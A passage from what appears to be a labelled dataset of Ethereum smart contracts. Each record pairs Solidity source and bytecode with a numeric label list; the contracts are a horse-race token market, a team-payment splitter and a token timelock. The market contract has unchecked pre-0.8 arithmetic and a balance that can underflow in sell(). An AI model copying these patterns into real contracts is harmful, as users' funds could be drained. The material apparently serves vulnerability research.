emit Claimed(race, claimerCut); } function sellOffer(uint256 amount, uint256 price, address race, bytes32 horse) external _validRace(race) _validHorse(horse) returns (bytes32) { uint256 ownedAmount = ClaimTokens[msg.sender][race][horse]; require(ownedAmount >= amount); require(amount > 0); bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,true,block.timestamp)); require(owner[id] == address(0)); //must not already exist Offer storage newOffer = market[id]; newOffer.Amount = amount; newOffer.Horse = horse; newOffer.Price = price; newOffer.Race = race; newOffer.BuyType = false; ClaimTokens[msg.sender][race][horse] -= amount; owner[id] = msg.sender; emit Selling(id,amount,price,race,horse,msg.sender); return id; } function getOffer(bytes32 id) external view returns(uint256,bytes32,uint256,address,bool) { Offer memory off = market[id]; return (off.Amount,off.Horse,off.Price,off.Race,off.BuyType); } function buyOffer(uint256 amount, uint256 price, address race, bytes32 horse) external payable _validRace(race) _validHorse(horse) returns (bytes32) { require(amount > 0); require(price > 0); require(msg.value == price * amount); bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,false,block.timestamp)); require(owner[id] == address(0)); //must not already exist Offer storage newOffer = market[id]; newOffer.Amount = amount; newOffer.Horse = horse; newOffer.Price = price; newOffer.Race = race; newOffer.BuyType = true; owner[id] = msg.sender; emit Buying(id,amount,price,race,horse,msg.sender); return id; } function cancelOrder(bytes32 id) external { require(owner[id] == msg.sender); Offer memory off = market[id]; if(off.BuyType) { msg.sender.transfer(off.Amount * off.Price); } else { ClaimTokens[msg.sender][off.Race][off.Horse] += off.Amount; } emit Canceled(id,msg.sender,off.Race); delete market[id]; delete owner[id]; } function buy(bytes32 id, uint256 amount) external payable { require(owner[id] != address(0)); require(owner[id] != msg.sender); Offer storage off = market[id]; require(!off.BuyType); require(amount <= off.Amount); uint256 cost = off.Price * amount; require(msg.value >= cost); ClaimTokens[msg.sender][off.Race][off.Horse] += amount; marketBalance[owner[id]] += msg.value; emit Bought(id,amount,msg.sender, off.Race); if(off.Amount == amount) { delete market[id]; delete owner[id]; } else { off.Amount -= amount; } } function sell(bytes32 id, uint256 amount) external { require(owner[id] != address(0)); require(owner[id] != msg.sender); Offer storage off = market[id]; require(off.BuyType); require(amount <= off.Amount); uint256 cost = amount * off.Price; ClaimTokens[msg.sender][off.Race][off.Horse] -= amount; ClaimTokens[owner[id]][off.Race][off.Horse] += amount; marketBalance[owner[id]] -= cost; marketBalance[msg.sender] += cost; emit Sold(id,amount,msg.sender,off.Race); if(off.Amount == amount) { delete market[id]; delete owner[id]; } else { off.Amount -= amount; } } function withdraw() external { msg.sender.transfer(marketBalance[msg.sender]); marketBalance[msg.sender] = 0; } modifier _validRace(address race) { require(race != address(0)); _; } modifier _validHorse(bytes32 horse) { require(horse == bytes32("BTC") || horse == bytes32("ETH") || horse == bytes32("LTC")); _; } }
0x6080604052600436106100ae5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663084b824681146100b05780630ddeb632146100ed5780631e83409a146100fb5780633ccfd60b1461011c57806353bb2eb6146101315780637489ec231461016057806383be9d54146101785780639672e3ba1461018f578063b592de3a146101b0578063d597b8c8146101cb578063e5ba0b8a14610219575b005b3480156100bc57600080fd5b506100d4600435600160a060020a0360243516610243565b6040805192835260208301919091528051918290030190f35b6100ae6004356024356102a8565b34801561010757600080fd5b506100ae600160a060020a0360043516610452565b34801561012857600080fd5b506100ae610956565b61014e600435602435600160a060020a03604435166064356109a0565b60408051918252519081900360200190f35b34801561016c57600080fd5b506100ae600435610bd5565b6100ae600435600160a060020a0360243516610d84565b34801561019b57600080fd5b5061014e600160a060020a0360043516610eb1565b3480156101bc57600080fd5b506100ae600435602435610ec3565b3480156101d757600080fd5b506101e360043561108c565b60408051958652602086019490945284840192909252600160a060020a0316606084015215156080830152519081900360a00190f35b34801561022557600080fd5b5061014e600435602435600160a060020a036044351660643561110c565b60008082600160a060020a038116151561025c57600080fd5b505033600090815260208181526040808320600160a060020a03959095168084529482528083208684528252808320549483526001825280832095835294905292909220549092909150565b6000828152600560205260408120548190600160a060020a031615156102cd57600080fd5b600084815260056020526040902054600160a060020a03163314156102f157600080fd5b6000848152600460205260409020600381015490925060a060020a900460ff161561031b57600080fd5b815483111561032957600080fd5b50600281015482023481111561033e57600080fd5b33600081815260208181526040808320600387018054600160a060020a03908116865291845282852060018901548652845282852080548a0190558985526005845282852054821685526006845293829020805434019055925481518981529283018890528151931693927fa84600642b3221a55f75222baa71e2f9d9d88c7126dd053c3b0836c59f5fe5989281900390910190a381548314156104445760008481526004602090815260408083208381556001810184905560028101849055600301805474ffffffffffffffffffffffffffffffffffffffffff1916905560059091529020805473ffffffffffffffffffffffffffffffffffffffff1916905561044c565b815483900382555b50505050565b600080808080808087600160a060020a038116151561047057600080fd5b600160a060020a03891660009081526002602052604090205489985060ff1615156105bf5787600160a060020a031663c4b24a466040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156104ec57600080fd5b505af1158015610500573d6000803e3d6000fd5b505050506040513d602081101561051657600080fd5b5051600160a060020a03808b166000908152600360205260408082209390935582517f055ee2530000000000000000000000000000000000000000000000000000000081529251918b169263055ee253926004808301939282900301818387803b15801561058357600080fd5b505af1158015610597573d6000803e3d6000fd5b505050600160a060020a038a166000908152600260205260409020805460ff19166001179055505b604080517f0f76964400000000000000000000000000000000000000000000000000000000815260e860020a62425443026004820152905160009850889750600160a060020a038a1691630f76964491602480830192602092919082900301818c87803b15801561062f57600080fd5b505af1158015610643573d6000803e3d6000fd5b505050506040513d602081101561065957600080fd5b5051604080517f0f76964400000000000000000000000000000000000000000000000000000000815260e860020a624c54430260048201529051919650600160a060020a038a1691630f769644916024808201926020929091908290030181600087803b1580156106c957600080fd5b505af11580156106dd573d6000803e3d6000fd5b505050506040513d60208110156106f357600080fd5b5051604080517f0f76964400000000000000000000000000000000000000000000000000000000815260eb60020a6208aa890260048201529051919550600160a060020a038a1691630f769644916024808201926020929091908290030181600087803b15801561076357600080fd5b505af1158015610777573d6000803e3d6000fd5b505050506040513d602081101561078d57600080fd5b5051925084156107ee57600160a060020a038916600081815260016020908152604080832060e860020a6242544302808552908352818420543385528484528285209585529483528184209084529091528120805491905597019695909501945b831561084b57600160a060020a038916600081815260016020908152604080832060e860020a624c544302808552908352818420543385528484528285209585529483528184209084529091528120805491905597019695909501945b82156108a857600160a060020a038916600081815260016020908152604080832060eb60020a6208aa8902808552908352818420543385528484528285209585529483528184209084529091528120805491905597019695909501945b600160a060020a038916600090815260036020526040902054869088908115156108ce57fe5b0402915033600160a060020a03166108fc839081150290604051600060405180830381858888f1935050505015801561090b573d6000803e3d6000fd5b50604080518381529051600160a060020a038b16917fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a919081900360200190a2505050505050505050565b3360008181526006602052604080822054905181156108fc0292818181858888f1935050505015801561098d573d6000803e3d6000fd5b5033600090815260066020526040812055565b6000808084600160a060020a03811615156109ba57600080fd5b8460e860020a62425443028114806109da575060eb60020a6208aa890281145b806109ed575060e860020a624c54430281145b15156109f857600080fd5b60008911610a0557600080fd5b60008811610a1257600080fd5b34888a0214610a2057600080fd5b6040805160208082018c90528183018b90526c01000000000000000000000000600160a060020a038b160260608301526074820189905260006094830152426095808401919091528351808403909101815260b590920192839052815191929182918401908083835b60208310610aa85780518252601f199092019160209182019101610a89565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600081815260059092529290205491975050600160a060020a0316159150610af9905057600080fd5b60008481526004602090815260408083208c8155600181018a9055600281018c905560038101805474ff000000000000000000000000000000000000000019600160a060020a038e1673ffffffffffffffffffffffffffffffffffffffff1992831681179190911660a060020a17909255600585529483902080549095163390811790955582518981529384018e90528383018d9052606084018b9052915190965090917fa44f97c28e07687f64478ac4e969516646944b20997925b2b283a3b7db265c77919081900360800190a35091979650505050505050565b610bdd611454565b600082815260056020526040902054600160a060020a03163314610c0057600080fd5b50600081815260046020908152604091829020825160a08101845281548152600182015492810192909252600281015492820192909252600390910154600160a060020a038116606083015260a060020a900460ff161580156080830152610c9d5760408082015182519151339290910280156108fc02916000818181858888f19350505050158015610c97573d6000803e3d6000fd5b50610cd7565b8051336000908152602081815260408083206060860151600160a060020a0316845282528083208286015184529091529020805490910190555b6060810151604080518481529051600160a060020a039092169133917f878b04c3244d10ed3da6179e5551b1346ea6910cdcacd37d8957f5eda32aee66919081900360200190a35060009081526004602090815260408083208381556001810184905560028101849055600301805474ffffffffffffffffffffffffffffffffffffffffff1916905560059091529020805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008082600160a060020a0381161515610d9d57600080fd5b604080517f042b5fed000000000000000000000000000000000000000000000000000000008152600481018790529051859450600160a060020a0385169163042b5fed91349160248082019260009290919082900301818588803b158015610e0457600080fd5b505af1158015610e18573d6000803e3d6000fd5b505050505066038d7ea4c6800034811515610e2f57fe5b33600081815260208181526040808320600160a060020a038b168085529083528184208c85528352818420805497909604968701909555848352600182528083208b845290915280822080548601905551939550919290917f49110e93c600fbc20f5fe19021ec7af6c51e2ba07150652252d8b2db7c8fb3d691a35050505050565b60066020526000908152604090205481565b6000828152600560205260408120548190600160a060020a03161515610ee857600080fd5b600084815260056020526040902054600160a060020a0316331415610f0c57600080fd5b6000848152600460205260409020600381015490925060a060020a900460ff161515610f3757600080fd5b8154831115610f4557600080fd5b50600281015433600081815260208181526040808320600387018054600160a060020a039081168652918452828520600189018054875290855283862080548b900390558a86526005855283862080548416875286865284872083548516885286528487209154875290855283862080548b0190555482168552600684528285208054978a0297889003905585855293829020805487019055925481518981529283018890528151931693927f1cd613202023590413800c509a1eb30864b494f0f0f74bb99886e755835d9d209281900390910190a381548314156104445760008481526004602090815260408083208381556001810184905560028101849055600301805474ffffffffffffffffffffffffffffffffffffffffff1916905560059091529020805473ffffffffffffffffffffffffffffffffffffffff1916905561044c565b600080600080600061109c611454565b5050506000938452505060046020908152604092839020835160a081018552815480825260018301549382018490526002830154958201869052600390920154600160a060020a0381166060830181905260a060020a90910460ff16151560809092018290529195929493509091565b600080808085600160a060020a038116151561112757600080fd5b8560e860020a6242544302811480611147575060eb60020a6208aa890281145b8061115a575060e860020a624c54430281145b151561116557600080fd5b33600090815260208181526040808320600160a060020a038c16845282528083208a845290915290205494508985101561119e57600080fd5b60008a116111ab57600080fd5b6040805160208082018d90528183018c90526c01000000000000000000000000600160a060020a038c16026060830152607482018a90527f01000000000000000000000000000000000000000000000000000000000000006094830152426095808401919091528351808403909101815260b590920192839052815191929182918401908083835b602083106112525780518252601f199092019160209182019101611233565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600081815260059092529290205491975050600160a060020a03161591506112a3905057600080fd5b600460008560001916600019168152602001908152602001600020925089836000018190555086836001018160001916905550888360020181905550878360030160006101000a815481600160a060020a030219169083600160a060020a0316021790555060008360030160146101000a81548160ff0219169083151502179055508960008033600160a060020a0316600160a060020a0316815260200190815260200160002060008a600160a060020a0316600160a060020a0316815260200190815260200160002060008960001916600019168152602001908152602001600020600082825403925050819055503360056000866000191660001916815260200190815260200160002060006101000a815481600160a060020a030219169083600160a060020a0316021790555033600160a060020a031688600160a060020a03167f1ee9118147f25724614d349ac3423362effd43942e14346c800cbac648a7b1c7868d8d8c604051808560001916600019168152602001848152602001838152602001826000191660001916815260200194505050505060405180910390a3509198975050505050505050565b6040805160a081018252600080825260208201819052918101829052606081018290526080810191909152905600a165627a7a7230582022709153c61fa29b60e90daf3be839a2f8404a1be064c4b19662a28304d6495a0029
[ 4, 7 ]
0xf385477187F9BB91b7574F634830B7350200eCF9
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "@openzeppelin/contracts/access/Ownable.sol"; error NotAllowed(); error ToMuchToWithdraw(); error ETHTransferFailed(); error NoBalanceToWithdraw(); contract Depositor is Ownable { struct TeamMember { uint16 percentage; uint256 balance; } // receiver address of the team members address[4] public receiverAddresses; // details of funds received by team member mapping(address => TeamMember) public team; constructor(address[4] memory receiverAddresses_, uint8[4] memory receiverPercentages_) { receiverAddresses = receiverAddresses_; for (uint256 i; i < receiverAddresses_.length; i++) { team[receiverAddresses_[i]] = TeamMember(receiverPercentages_[i], 0); } } /* * accepts ether sent with no txData */ receive() external payable { for (uint256 i; i < receiverAddresses.length; i++) { address receiverAddress = receiverAddresses[i]; uint256 maxToWithdraw = (msg.value * team[receiverAddress].percentage) / 100; _sendValueTo(receiverAddress, maxToWithdraw); } } /** * @dev Change the current team member address with a new one * @param newAddress Address which can withdraw the ETH based on percentage */ function changeTeamMemberAddress(address newAddress) external { bool found; for (uint256 i; i < receiverAddresses.length; i++) { if (receiverAddresses[i] == _msgSender()) { receiverAddresses[i] = newAddress; found = true; break; } } if (!found) revert NotAllowed(); team[newAddress] = team[_msgSender()]; delete team[_msgSender()]; } /** * @dev Send an amount of value to a specific address * @param to_ address that will receive the value * @param value to be sent to the address */ function _sendValueTo(address to_, uint256 value) internal { address payable to = payable(to_); (bool success, ) = to.call{ value: value }(""); if (!success) revert ETHTransferFailed(); } }
0x6080604052600436106100595760003560e01c80633de94925146100e1578063715018a61461013b5780638da5cb5b14610152578063d8c03be914610184578063db9b12d3146101a4578063f2fde38b146101c457600080fd5b366100dc5760005b60048110156100d95760006001826004811061007f5761007f6104f2565b01546001600160a01b0316600081815260056020526040812054919250906064906100ae9061ffff163461051e565b6100b8919061053d565b90506100c482826101e4565b505080806100d19061055f565b915050610061565b50005b600080fd5b3480156100ed57600080fd5b5061011c6100fc36600461057a565b6005602052600090815260409020805460019091015461ffff9091169082565b6040805161ffff90931683526020830191909152015b60405180910390f35b34801561014757600080fd5b5061015061025e565b005b34801561015e57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610132565b34801561019057600080fd5b5061016c61019f3660046105aa565b6102c9565b3480156101b057600080fd5b506101506101bf36600461057a565b6102e9565b3480156101d057600080fd5b506101506101df36600461057a565b6103d7565b60405182906000906001600160a01b0383169084908381818185875af1925050503d8060008114610231576040519150601f19603f3d011682016040523d82523d6000602084013e610236565b606091505b50509050806102585760405163b12d13eb60e01b815260040160405180910390fd5b50505050565b6000546001600160a01b031633146102bd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6102c760006104a2565b565b600181600481106102d957600080fd5b01546001600160a01b0316905081565b6000805b600481101561036957336001826004811061030a5761030a6104f2565b01546001600160a01b0316141561035757826001826004811061032f5761032f6104f2565b0180546001600160a01b0319166001600160a01b039290921691909117905560019150610369565b806103618161055f565b9150506102ed565b508061038857604051631eb49d6d60e11b815260040160405180910390fd5b50336000818152600560205260408082206001600160a01b0394909416825281208354815461ffff90911661ffff19918216178255600180860180549190930155928252835490921690925555565b6000546001600160a01b031633146104315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b4565b6001600160a01b0381166104965760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102b4565b61049f816104a2565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561053857610538610508565b500290565b60008261055a57634e487b7160e01b600052601260045260246000fd5b500490565b600060001982141561057357610573610508565b5060010190565b60006020828403121561058c57600080fd5b81356001600160a01b03811681146105a357600080fd5b9392505050565b6000602082840312156105bc57600080fd5b503591905056fea26469706673582212208b9608a4cb9ee25b4c791748483be433f26a1ab3fa180f99104c954590ecc4a664736f6c634300080c0033
[ 26, 12 ]
0xF3855423CFBFF413d92806a2E4b1005BbFcbD702
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.8.0; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private immutable _token; // beneficiary of tokens after they are released address private immutable _beneficiary; // timestamp when token release is enabled uint256 private immutable _releaseTime; constructor( IERC20 token_, address beneficiary_, uint256 releaseTime_ ) { require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } function getLockedAmount() public view virtual returns (uint256) { uint256 amount = token().balanceOf(address(this)); return amount; } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063252bc8861461005c57806338af3eed1461007a57806386d1a69f14610098578063b91d4001146100a2578063fc0c546a146100c0575b600080fd5b6100646100de565b6040516100719190610944565b60405180910390f35b61008261017a565b60405161008f9190610823565b60405180910390f35b6100a06101a2565b005b6100aa6102ff565b6040516100b79190610944565b60405180910390f35b6100c8610327565b6040516100d59190610867565b60405180910390f35b6000806100e9610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101219190610823565b60206040518083038186803b15801561013957600080fd5b505afa15801561014d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101719190610699565b90508091505090565b60007f000000000000000000000000c58bbdd7cda4b5cd4fbd6d662f1f9be63e2bd4cd905090565b6101aa6102ff565b4210156101ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e3906108a4565b60405180910390fd5b60006101f6610327565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161022e9190610823565b60206040518083038186803b15801561024657600080fd5b505afa15801561025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027e9190610699565b9050600081116102c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102ba90610924565b60405180910390fd5b6102fc6102ce61017a565b826102d7610327565b73ffffffffffffffffffffffffffffffffffffffff1661034f9092919063ffffffff16565b50565b60007f000000000000000000000000000000000000000000000000000000006245c1f0905090565b60007f000000000000000000000000aa2d8c9a8bd0f7945143bfd509be3ff23dd78918905090565b6103d08363a9059cbb60e01b848460405160240161036e92919061083e565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506103d5565b505050565b6000610437826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661049c9092919063ffffffff16565b90506000815111156104975780806020019051810190610457919061066c565b610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90610904565b60405180910390fd5b5b505050565b60606104ab84846000856104b4565b90509392505050565b6060824710156104f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f0906108c45